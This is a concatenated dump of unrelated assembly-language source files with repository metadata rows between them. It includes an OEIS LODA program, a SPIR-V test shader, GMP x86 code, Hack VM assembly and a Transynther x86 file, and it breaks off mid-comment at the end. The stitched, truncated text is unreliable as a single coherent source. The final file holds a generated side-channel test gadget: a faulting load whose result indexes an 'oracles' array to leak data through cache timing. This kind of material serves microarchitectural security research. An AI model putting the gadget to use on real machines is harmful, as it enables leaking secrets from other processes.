; 17,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1,34,1,7,1
mov $3,4
cal $0,40236 ; Continued fraction for sqrt(252).
mov $2,1
lpb $2,2
mov $1,$0
mov $2,$0
mul $2,3
mov $4,$0
lpb $4
sub $1,$2
mov $2,2
mov $3,0
sub $4,7
lpe
div $1,2
pow $2,0
lpe
mov $4,1
sub $4,$1
mov $1,$4
| 20.125 | 190 | 0.548654 |
aefeebfe11c458c8d2090c069cae7a6b6bab78d5 | 3,977 | asm | Assembly | coverage/IN_CTS/0453-COVERAGE-nir-opt-if-260/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | null | null | null | coverage/IN_CTS/0453-COVERAGE-nir-opt-if-260/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | 47 | 2021-03-11T07:42:51.000Z | 2022-03-14T06:30:14.000Z | coverage/IN_CTS/0453-COVERAGE-nir-opt-if-260/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | 4 | 2021-03-09T13:37:19.000Z | 2022-02-25T07:32:11.000Z | ; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 73
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %9
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %9 "_GLF_color"
OpName %14 "buf0"
OpMemberName %14 0 "_GLF_uniform_int_values"
OpName %16 ""
OpName %37 "buf1"
OpMemberName %37 0 "zero"
OpName %39 ""
OpDecorate %9 Location 0
OpDecorate %13 ArrayStride 16
OpMemberDecorate %14 0 Offset 0
OpDecorate %14 Block
OpDecorate %16 DescriptorSet 0
OpDecorate %16 Binding 0
OpMemberDecorate %37 0 Offset 0
OpDecorate %37 Block
OpDecorate %39 DescriptorSet 0
OpDecorate %39 Binding 1
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeFloat 32
%7 = OpTypeVector %6 4
%8 = OpTypePointer Output %7
%9 = OpVariable %8 Output
%10 = OpTypeInt 32 1
%11 = OpTypeInt 32 0
%12 = OpConstant %11 4
%13 = OpTypeArray %10 %12
%14 = OpTypeStruct %13
%15 = OpTypePointer Uniform %14
%16 = OpVariable %15 Uniform
%17 = OpConstant %10 0
%18 = OpTypePointer Uniform %10
%22 = OpConstant %10 1
%37 = OpTypeStruct %10
%38 = OpTypePointer Uniform %37
%39 = OpVariable %38 Uniform
%44 = OpTypeBool
%51 = OpConstant %10 2
%60 = OpConstant %10 3
%68 = OpConstantFalse %44
%4 = OpFunction %2 None %3
%5 = OpLabel
%19 = OpAccessChain %18 %16 %17 %17
%20 = OpLoad %10 %19
%21 = OpConvertSToF %6 %20
%23 = OpAccessChain %18 %16 %17 %22
%24 = OpLoad %10 %23
%25 = OpConvertSToF %6 %24
%26 = OpAccessChain %18 %16 %17 %22
%27 = OpLoad %10 %26
%28 = OpConvertSToF %6 %27
%29 = OpAccessChain %18 %16 %17 %17
%30 = OpLoad %10 %29
%31 = OpConvertSToF %6 %30
%32 = OpCompositeConstruct %7 %21 %25 %28 %31
OpStore %9 %32
OpBranch %33
%33 = OpLabel
OpLoopMerge %35 %36 None
OpBranch %34
%34 = OpLabel
%40 = OpAccessChain %18 %39 %17
%41 = OpLoad %10 %40
%42 = OpAccessChain %18 %16 %17 %17
%43 = OpLoad %10 %42
%45 = OpIEqual %44 %41 %43
OpSelectionMerge %47 None
OpBranchConditional %45 %46 %47
%46 = OpLabel
OpBranch %36
%47 = OpLabel
%49 = OpAccessChain %18 %39 %17
%50 = OpLoad %10 %49
%52 = OpAccessChain %18 %16 %17 %51
%53 = OpLoad %10 %52
%54 = OpIEqual %44 %50 %53
OpSelectionMerge %56 None
OpBranchConditional %54 %55 %56
%55 = OpLabel
OpBranch %35
%56 = OpLabel
%58 = OpAccessChain %18 %39 %17
%59 = OpLoad %10 %58
%61 = OpAccessChain %18 %16 %17 %60
%62 = OpLoad %10 %61
%63 = OpIEqual %44 %59 %62
OpSelectionMerge %65 None
OpBranchConditional %63 %64 %65
%64 = OpLabel
OpKill
%65 = OpLabel
OpReturn
%36 = OpLabel
OpBranchConditional %68 %33 %35
%35 = OpLabel
%69 = OpAccessChain %18 %16 %17 %22
%70 = OpLoad %10 %69
%71 = OpConvertSToF %6 %70
%72 = OpCompositeConstruct %7 %71 %71 %71 %71
OpStore %9 %72
OpReturn
OpFunctionEnd
| 34.582609 | 59 | 0.484536 |
f6ab8544a2f66bc8769c5c473b815d5b6b22b6d0 | 143 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Final.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Final.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Final.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: Final.asm
Type: file
Size: 95700
Last-Modified: '1992-04-28T15:00:00Z'
SHA-1: 15AC356E6499686E3D05AFBFA1D3D72A3154785E
Description: null
| 20.428571 | 47 | 0.811189 |
5364b4a368883a01cdcb28b7ee3d93d38abcce4d | 3,451 | asm | Assembly | externals/mpir-3.0.0/mpn/x86w/mod_34lsub1.asm | JaminChan/eos_win | c03e57151cfe152d0d3120abb13226f4df74f37e | [
"MIT"
] | 12 | 2021-09-29T14:50:06.000Z | 2022-03-31T15:01:21.000Z | externals/mpir-3.0.0/mpn/x86w/mod_34lsub1.asm | JaminChan/eos_win | c03e57151cfe152d0d3120abb13226f4df74f37e | [
"MIT"
] | 15 | 2021-12-24T22:53:49.000Z | 2021-12-25T10:03:13.000Z | LibSource/mpir/mpn/x86w/mod_34lsub1.asm | ekzyis/CrypTool-2 | 1af234b4f74486fbfeb3b3c49228cc36533a8c89 | [
"Apache-2.0"
] | 10 | 2021-10-17T19:46:51.000Z | 2022-03-18T02:57:57.000Z |
; Copyright 2000, 2001, 2002 Free Software Foundation, Inc.
;
; This file is part of the GNU MP Library.
;
; The GNU MP Library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public License as
; published by the Free Software Foundation; either version 2.1 of the
; License, or (at your option) any later version.
;
; The GNU MP Library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with the GNU MP Library; see the file COPYING.LIB. If
; not, write to the Free Software Foundation, Inc., 59 Temple Place -
; Suite 330, Boston, MA 02111-1307, USA.
;
; Translation of AT&T syntax code by Brian Gladman
%include "x86i.inc"
section .text
%define PARAM_SIZE esp+frame+8
%define PARAM_SRC esp+frame+4
; re-use parameter space
%define SAVE_EBX PARAM_SRC
global ___gmpn_mod_34lsub1
%ifdef DLL
export ___gmpn_mod_34lsub1
%endif
align 16
___gmpn_mod_34lsub1:
%assign frame 0
mov ecx,[PARAM_SIZE]
mov edx,[PARAM_SRC]
sub ecx,2
ja Lthree_or_more
mov eax,[edx]
jb Lone
mov ecx,[4+edx]
mov edx,eax
shr eax,24 ; src[0] low
and edx,0xFFFFFF ; src[0] high
add eax,edx
mov edx,ecx
and ecx,0xFFFF
shr edx,16 ; src[1] high
add eax,edx
shl ecx,8 ; src[1] low
add eax,ecx
Lone:
ret
; eax
; ebx
; ecx size-2
; edx src
; esi
; edi
; ebp
Lthree_or_more:
mov [SAVE_EBX],ebx ; and arrange 16-byte loop alignment
xor ebx,ebx
FR_push esi
xor esi,esi
FR_push edi
xor eax,eax ; and clear carry flag
; offset 0x40 here
; eax acc 0mod3
; ebx acc 1mod3
; ecx counter,limbs
; edx src
; esi acc 2mod3
; edi
; ebp
Ltop:
lea edx,[12+edx]
lea ecx,[-2+ecx]
adc eax,[-12+edx]
adc ebx,[-8+edx]
adc esi,[-4+edx]
dec ecx
jg Ltop
; ecx is -2,-1 or 0 representing 0,1 or 2 more limbs,respectively
mov edi,0xFFFFFFFF
inc ecx
js Lcombine
adc eax,[edx]
mov edi,0xFFFFFF00
dec ecx
js Lcombine
adc ebx,[4+edx]
mov edi,0xFFFF0000
; eax acc 0mod3
; ebx acc 1mod3
; ecx
; edx
; esi acc 2mod3
; edi mask
; ebp
Lcombine:
sbb ecx,ecx ; carry
mov edx,eax ; 0mod3
shr eax,24 ; 0mod3 high
and ecx,edi ; carry masked
sub eax,ecx ; apply carry
mov edi,ebx ; 1mod3
shr ebx,16 ; 1mod3 high
and edx,0x00FFFFFF ; 0mod3 low
add eax,edx ; apply 0mod3 low
and edi,0xFFFF
shl edi,8 ; 1mod3 low
add eax,ebx ; apply 1mod3 high
add eax,edi ; apply 1mod3 low
mov edx,esi ; 2mod3
shr esi,8 ; 2mod3 high
and edx,0xFF ; 2mod3 low
shl edx,16 ; 2mod3 low
add eax,esi ; apply 2mod3 high
add eax,edx ; apply 2mod3 low
FR_pop edi
mov ebx,[SAVE_EBX]
FR_pop esi
ret
end
| 24.302817 | 72 | 0.58215 |
be33ddece8a7b18c0e47cd5e5ade38d4dfd6364c | 1,365 | asm | Assembly | programs/oeis/265/A265029.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/265/A265029.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/265/A265029.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A265029: First differences of A264619.
; 6,14,10,42,20,14,20,146,40,28,40,22,40,28,40,546,80,56,80,44,80,56,80,38,80,56,80,44,80,56,80,2114,160,112,160,88,160,112,160,76,160,112,160,88,160,112,160,70,160,112,160,88,160,112,160,76,160,112,160,88,160,112,160,8322,320,224,320,176,320,224,320,152,320,224,320,176,320,224,320,140,320,224,320,176,320,224,320,152,320,224,320,176,320,224,320,134,320,224,320,176,320,224,320,152,320,224,320,176,320,224,320,140,320,224,320,176,320,224,320,152,320,224,320,176,320,224,320,33026,640,448,640,352,640,448,640,304,640,448,640,352,640,448,640,280,640,448,640,352,640,448,640,304,640,448,640,352,640,448,640,268,640,448,640,352,640,448,640,304,640,448,640,352,640,448,640,280,640,448,640,352,640,448,640,304,640,448,640,352,640,448,640,262,640,448,640,352,640,448,640,304,640,448,640,352,640,448,640,280,640,448,640,352,640,448,640,304,640,448,640,352,640,448,640,268,640,448,640,352,640,448,640,304,640,448,640,352,640,448,640,280,640,448,640,352,640,448,640,304,640,448
mov $3,2
mov $5,$0
lpb $3,1
mov $0,$5
sub $3,1
add $0,$3
cal $0,264619 ; a(0) = 1; for n>0, working in binary, write n followed by 1 then n-reversed (including leading zeros); show result in base 10.
mov $2,$3
mov $4,$0
div $4,2
lpb $2,1
mov $1,$4
sub $2,1
lpe
lpe
lpb $5,1
sub $1,$4
mov $5,0
lpe
sub $1,3
mul $1,2
add $1,6
| 52.5 | 968 | 0.695971 |
6382a87b20803c2f8cf0580e784a3cad72f6cce3 | 1,516 | asm | Assembly | test/actual/commanda.asm | amisonnet8/hack | d834e1f799a7afcf68e4ed6dfe087f6768398988 | [
"MIT"
] | null | null | null | test/actual/commanda.asm | amisonnet8/hack | d834e1f799a7afcf68e4ed6dfe087f6768398988 | [
"MIT"
] | null | null | null | test/actual/commanda.asm | amisonnet8/hack | d834e1f799a7afcf68e4ed6dfe087f6768398988 | [
"MIT"
] | null | null | null | (a)
@R0
@R1
@R2
@R3
@R4
@R5
@R6
@R7
@R8
@R9
@R10
@R11
@R12
@R13
@R14
@R15
@SP
@LCL
@ARG
@THIS
@THAT
@SCREEN
@KBD
@a
@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_.$:
@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_.$:
@zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
@0
(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_.$:)
@24576
(a)
@R0
@R1
@R2
@R3
@R4
@R5
@R6
@R7
@R8
@R9
@R10
@R11
@R12
@R13
@R14
@R15
@SP
@LCL
@ARG
@THIS
@THAT
@SCREEN
@KBD
@a
@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_.$:
@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_.$:
@zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
@0
(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_.$:)
@24576
(a)
@R0
@R1
@R2
@R3
@R4
@R5
@R6
@R7
@R8
@R9
@R10
@R11
@R12
@R13
@R14
@R15
@SP
@LCL
@ARG
@THIS
@THAT
@SCREEN
@KBD
@a
@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_.$:
@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_.$:
@zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
@0
(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_.$:)
@24576
| 15.791667 | 142 | 0.791557 |
e73a274e994ef30d8e756543c6d181f8edfdb1ce | 1,706 | asm | Assembly | stdlib/stdlib.asm | Wynjones1/pycompiler | dd6f0f3a5e4a4b6c7b110080d66e05724ade6627 | [
"MIT"
] | null | null | null | stdlib/stdlib.asm | Wynjones1/pycompiler | dd6f0f3a5e4a4b6c7b110080d66e05724ade6627 | [
"MIT"
] | null | null | null | stdlib/stdlib.asm | Wynjones1/pycompiler | dd6f0f3a5e4a4b6c7b110080d66e05724ade6627 | [
"MIT"
] | null | null | null | %define ASCII_0 0x30
%define ASCII_NEWLINE 0xa
%define BUFSIZE 10
; print the integer pointed to by the first argument
print:
push ebp
mov ebp, esp
mov eax, [ebp + 8]
mov ebx, 10
mov ecx, 0
sub esp, BUFSIZE; reserve space for the integer
mov esi, BUFSIZE - 1
sub esi, ecx
mov byte [ebp - 1], ASCII_NEWLINE
add ecx, 1 ; adjust length
.loop:
; push character on the stack
; store length in ecx
mov edx, 0 ; zero upper bits of EDX:EAX
div ebx ; divide by 10
add edx, ASCII_0 ; adjust to ascii
mov esi, BUFSIZE - 1
sub esi, ecx
mov [esp + esi], dl; store in the buffer
add ecx, 1 ; adjust length
cmp eax, 0 ; see if we are done
jnz .loop
mov eax, 4 ; write syscall
mov ebx, 0 ; stdout fd
mov edx, ecx ; length of string
mov ecx, ebp
sub ecx, edx ; location of output string
int 0x80
mov esp, ebp
pop ebp
ret
; get the length of a null terminated string
strlen:
mov esi, [esp + 4]
xor ebx, ebx
.start:
mov al, [esi + ebx]
cmp al, 0
jz .done
add ebx, 1
jmp .start
.done:
mov eax, ebx
ret
putc:
mov edx, 1
mov eax, 4
mov ebx, 0
push 0xa
mov ecx, esp
int 0x80
add esp, 4
ret
; print a string to stdout
prints:
push dword [esp + 4]
call strlen
add esp, 4
mov edx, eax ; length of the string
mov eax, 4 ; write syscall
mov ebx, 0 ; stdout fd
mov ecx, [esp + 4] ; location of string to print
int 0x80
push 0xa ;print a newline
call putc
add esp, 4
ret
exit:
mov ebx, [esp + 4]
mov eax, 1
int 0x80
| 19.386364 | 52 | 0.572685 |
f3c5fd57b1d73482ea69ce0b866421ecc5550c06 | 622 | asm | Assembly | programs/oeis/237/A237415.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/237/A237415.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/237/A237415.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A237415: For k in {2,3,...,9} define a sequence as follows: a(0)=0; for n>=0, a(n+1)=a(n)+1, unless a(n) ends in k, in which case a(n+1) is obtained by replacing the last digit of a(n) with the digit(s) of k^3. This is k(2).
; 0,1,2,8,9,10,11,12,18,19,20,21,22,28,29,30,31,32,38,39,40,41,42,48,49,50,51,52,58,59,60,61,62,68,69,70,71,72,78,79,80,81,82,88,89,90,91,92,98,99,100,101,102,108,109,110,111,112,118,119,120,121,122,128,129,130,131,132,138,139,140,141,142,148,149,150,151,152,158,159,160,161,162,168,169,170,171,172,178,179,180,181,182,188,189,190,191,192,198,199
mov $1,$0
add $0,2
div $0,5
mul $0,5
add $0,$1
| 69.111111 | 346 | 0.667203 |
b4d990183db8ab5d4446b1055717f95f5e74fa3a | 6,980 | asm | Assembly | NandToTetris/projects/08/FunctionCalls/NestedCall/NestedCall.asm | davejlin/coursera | ac156968c1d886acfb88b699b9c31138f785eb50 | [
"Unlicense"
] | null | null | null | NandToTetris/projects/08/FunctionCalls/NestedCall/NestedCall.asm | davejlin/coursera | ac156968c1d886acfb88b699b9c31138f785eb50 | [
"Unlicense"
] | 2 | 2016-12-26T04:13:48.000Z | 2020-06-08T01:17:39.000Z | NandToTetris/projects/08/VMTranslator/files/NestedCall/NestedCall.asm | davejlin/coursera | ac156968c1d886acfb88b699b9c31138f785eb50 | [
"Unlicense"
] | null | null | null | // Bootstrap code
@256
D=A
@SP
M=D
@bootstrap$return.0
D=A
@SP
AM=M+1
A=A-1
M=D // push bootstrap$return.0
@LCL
D=M
@SP
AM=M+1
A=A-1
M=D // push LCL
@ARG
D=M
@SP
AM=M+1
A=A-1
M=D // push ARG
@THIS
D=M
@SP
AM=M+1
A=A-1
M=D // push THIS
@THAT
D=M
@SP
AM=M+1
A=A-1
M=D // push THAT
@SP
D=M
@5
D=D-A
@0
D=D-A
@ARG
M=D // ARG[0] = SP - 5 - nArgs
@SP
D=M
@LCL
M=D // LCL = SP
@Sys.init
0;JMP
(bootstrap$return.0)
(bootstrapEnd)
@bootstrapEnd
0;JMP
// function Sys.init 0
(Sys.init)
// push constant 4000
@4000 //
D=A
@SP
AM=M+1
A=A-1
M=D
// pop pointer 0
@SP
AM=M-1
D=M
@THIS
M=D
// push constant 5000
@5000
D=A
@SP
AM=M+1
A=A-1
M=D
// pop pointer 1
@SP
AM=M-1
D=M
@THAT
M=D
// call Sys.main 0
@Sys$return.1
D=A
@SP
AM=M+1
A=A-1
M=D // push Sys$return.1
@LCL
D=M
@SP
AM=M+1
A=A-1
M=D // push LCL
@ARG
D=M
@SP
AM=M+1
A=A-1
M=D // push ARG
@THIS
D=M
@SP
AM=M+1
A=A-1
M=D // push THIS
@THAT
D=M
@SP
AM=M+1
A=A-1
M=D // push THAT
@SP
D=M
@5
D=D-A
@0
D=D-A
@ARG
M=D // ARG[0] = SP - 5 - nArgs
@SP
D=M
@LCL
M=D // LCL = SP
@Sys.main
0;JMP
(Sys$return.1)
// pop temp 1
@SP
AM=M-1
D=M
@6
M=D
// label LOOP
(Sys.init:LOOP)
// goto LOOP
@Sys.init:LOOP
0;JMP
// function Sys.main 5
(Sys.main)
@0
D=A
@SP
AM=M+1
A=A-1
M=D
@0
D=A
@SP
AM=M+1
A=A-1
M=D
@0
D=A
@SP
AM=M+1
A=A-1
M=D
@0
D=A
@SP
AM=M+1
A=A-1
M=D
@0
D=A
@SP
AM=M+1
A=A-1
M=D
// push constant 4001
@4001
D=A
@SP
AM=M+1
A=A-1
M=D
// pop pointer 0
@SP
AM=M-1
D=M
@THIS
M=D
// push constant 5001
@5001
D=A
@SP
AM=M+1
A=A-1
M=D
// pop pointer 1
@SP
AM=M-1
D=M
@THAT
M=D
// push constant 200
@200
D=A
@SP
AM=M+1
A=A-1
M=D
// pop local 1
@LCL
D=M
@1
D=D+A
@R13
M=D
@SP
AM=M-1
D=M
@R13
A=M
M=D
// push constant 40
@40
D=A
@SP
AM=M+1
A=A-1
M=D
// pop local 2
@LCL
D=M
@2
D=D+A
@R13
M=D
@SP
AM=M-1
D=M
@R13
A=M
M=D
// push constant 6
@6
D=A
@SP
AM=M+1
A=A-1
M=D
// pop local 3
@LCL
D=M
@3
D=D+A
@R13
M=D
@SP
AM=M-1
D=M
@R13
A=M
M=D
// push constant 123
@123
D=A
@SP
AM=M+1
A=A-1
M=D
// call Sys.add12 1
@Sys$return.2
D=A
@SP
AM=M+1
A=A-1
M=D // push Sys$return.2
@LCL
D=M
@SP
AM=M+1
A=A-1
M=D // push LCL
@ARG
D=M
@SP
AM=M+1
A=A-1
M=D // push ARG
@THIS
D=M
@SP
AM=M+1
A=A-1
M=D // push THIS
@THAT
D=M
@SP
AM=M+1
A=A-1
M=D // push THAT
@SP
D=M
@5
D=D-A
@1
D=D-A
@ARG
M=D // ARG[0] = SP - 5 - nArgs
@SP
D=M
@LCL
M=D // LCL = SP
@Sys.add12
0;JMP
(Sys$return.2)
// pop temp 0
@SP
AM=M-1
D=M
@5
M=D
// push local 0
@LCL
D=M
@0
A=A+D
D=M
@SP
AM=M+1
A=A-1
M=D
// push local 1
@LCL
D=M
@1
A=A+D
D=M
@SP
AM=M+1
A=A-1
M=D
// push local 2
@LCL
D=M
@2
A=A+D
D=M
@SP
AM=M+1
A=A-1
M=D
// push local 3
@LCL
D=M
@3
A=A+D
D=M
@SP
AM=M+1
A=A-1
M=D
// push local 4
@LCL
D=M
@4
A=A+D
D=M
@SP
AM=M+1
A=A-1
M=D
// add
@SP
AM=M-1
D=M
A=A-1
M=D+M
// add
@SP
AM=M-1
D=M
A=A-1
M=D+M
// add
@SP
AM=M-1
D=M
A=A-1
M=D+M
// add
@SP
AM=M-1
D=M
A=A-1
M=D+M
// return
@LCL
D=M
@endFrame
M=D // endFrame = LCL
@5
D=D-A
A=D
D=M
@retAddr
M=D // retAddr = *(endFrame – 5)
@ARG
D=M
@R13
M=D // R13 = ARG[0]
@SP
A=M-1
D=M
@ARG
A=M
M=D // *ARG[0] = POP()
@R13
D=M
@SP
M=D+1 // SP = ARG[0] + 1
@endFrame
D=M
@1
D=D-A
A=D
D=M
@THAT
M=D // THAT = *(endFrame - 1)
@endFrame
D=M
@2
D=D-A
A=D
D=M
@THIS
M=D // THIS = *(endFrame - 2)
@endFrame
D=M
@3
D=D-A
A=D
D=M
@ARG
M=D // ARG = *(endFrame - 3)
@endFrame
D=M
@4
D=D-A
A=D
D=M
@LCL
M=D // LCL = *(endFrame - 4)
@retAddr
A=M
0;JMP // goto retAddr
// function Sys.add12 0
(Sys.add12)
// push constant 4002
@4002
D=A
@SP
AM=M+1
A=A-1
M=D
// pop pointer 0
@SP
AM=M-1
D=M
@THIS
M=D
// push constant 5002
@5002
D=A
@SP
AM=M+1
A=A-1
M=D
// pop pointer 1
@SP
AM=M-1
D=M
@THAT
M=D
// push argument 0
@ARG
D=M
@0
A=A+D
D=M
@SP
AM=M+1
A=A-1
M=D
// push constant 12
@12
D=A
@SP
AM=M+1
A=A-1
M=D
// add
@SP
AM=M-1
D=M
A=A-1
M=D+M
// return
@LCL
D=M
@endFrame
M=D // endFrame = LCL
@5
D=D-A
A=D
D=M
@retAddr
M=D // retAddr = *(endFrame – 5)
@ARG
D=M
@R13
M=D // R13 = ARG[0]
@SP
A=M-1
D=M
@ARG
A=M
M=D // *ARG[0] = POP()
@R13
D=M
@SP
M=D+1 // SP = ARG[0] + 1
@endFrame
D=M
@1
D=D-A
A=D
D=M
@THAT
M=D // THAT = *(endFrame - 1)
@endFrame
D=M
@2
D=D-A
A=D
D=M
@THIS
M=D // THIS = *(endFrame - 2)
@endFrame
D=M
@3
D=D-A
A=D
D=M
@ARG
M=D // ARG = *(endFrame - 3)
@endFrame
D=M
@4
D=D-A
A=D
D=M
@LCL
M=D // LCL = *(endFrame - 4)
@retAddr
A=M
0;JMP // goto retAddr | 12.464286 | 44 | 0.339828 |
83ef73db861b8ca90cd28d3a5d97d33413bd6d83 | 6,626 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_1888.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_1888.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_1888.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x17693, %rsi
lea addresses_UC_ht+0xa293, %rdi
nop
nop
nop
and $64606, %r12
mov $88, %rcx
rep movsq
and %r11, %r11
lea addresses_normal_ht+0x10293, %r12
nop
xor $47638, %rax
movb $0x61, (%r12)
nop
nop
inc %rsi
lea addresses_A_ht+0x1e93, %rsi
lea addresses_A_ht+0x1ae93, %rdi
clflush (%rsi)
nop
nop
nop
nop
add $56423, %rbp
mov $70, %rcx
rep movsb
nop
nop
and $49312, %rax
lea addresses_WT_ht+0x293, %r12
nop
nop
cmp %r11, %r11
mov (%r12), %rax
nop
nop
dec %rcx
lea addresses_normal_ht+0x5e93, %r12
clflush (%r12)
nop
nop
nop
nop
nop
and $15988, %r11
mov $0x6162636465666768, %rbp
movq %rbp, %xmm3
movups %xmm3, (%r12)
nop
nop
nop
nop
and $35958, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %r8
push %rbp
push %rbx
push %rcx
// Store
lea addresses_normal+0x84cb, %rbp
nop
nop
nop
nop
nop
and $14084, %r8
movw $0x5152, (%rbp)
nop
nop
nop
nop
nop
sub %rbp, %rbp
// Store
lea addresses_A+0x16971, %rbp
nop
nop
nop
nop
sub %rbx, %rbx
movl $0x51525354, (%rbp)
nop
sub %r15, %r15
// Store
mov $0x909, %r8
nop
and $39489, %rcx
movb $0x51, (%r8)
nop
cmp %rbp, %rbp
// Store
lea addresses_RW+0x14671, %r8
nop
nop
inc %rcx
mov $0x5152535455565758, %r15
movq %r15, %xmm0
vmovups %ymm0, (%r8)
nop
nop
nop
nop
and %rbx, %rbx
// Load
mov $0x823, %r15
nop
cmp %r13, %r13
movups (%r15), %xmm4
vpextrq $1, %xmm4, %rbx
nop
nop
nop
cmp $58653, %r8
// Load
lea addresses_A+0x33, %r8
add $28100, %rbp
mov (%r8), %r15d
nop
xor $58398, %r15
// Faulty Load
lea addresses_PSE+0x4e93, %rbp
nop
add $10767, %r15
mov (%rbp), %r10
lea oracles, %r13
and $0xff, %r10
shlq $12, %r10
mov (%r13,%r10,1), %r10
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}}
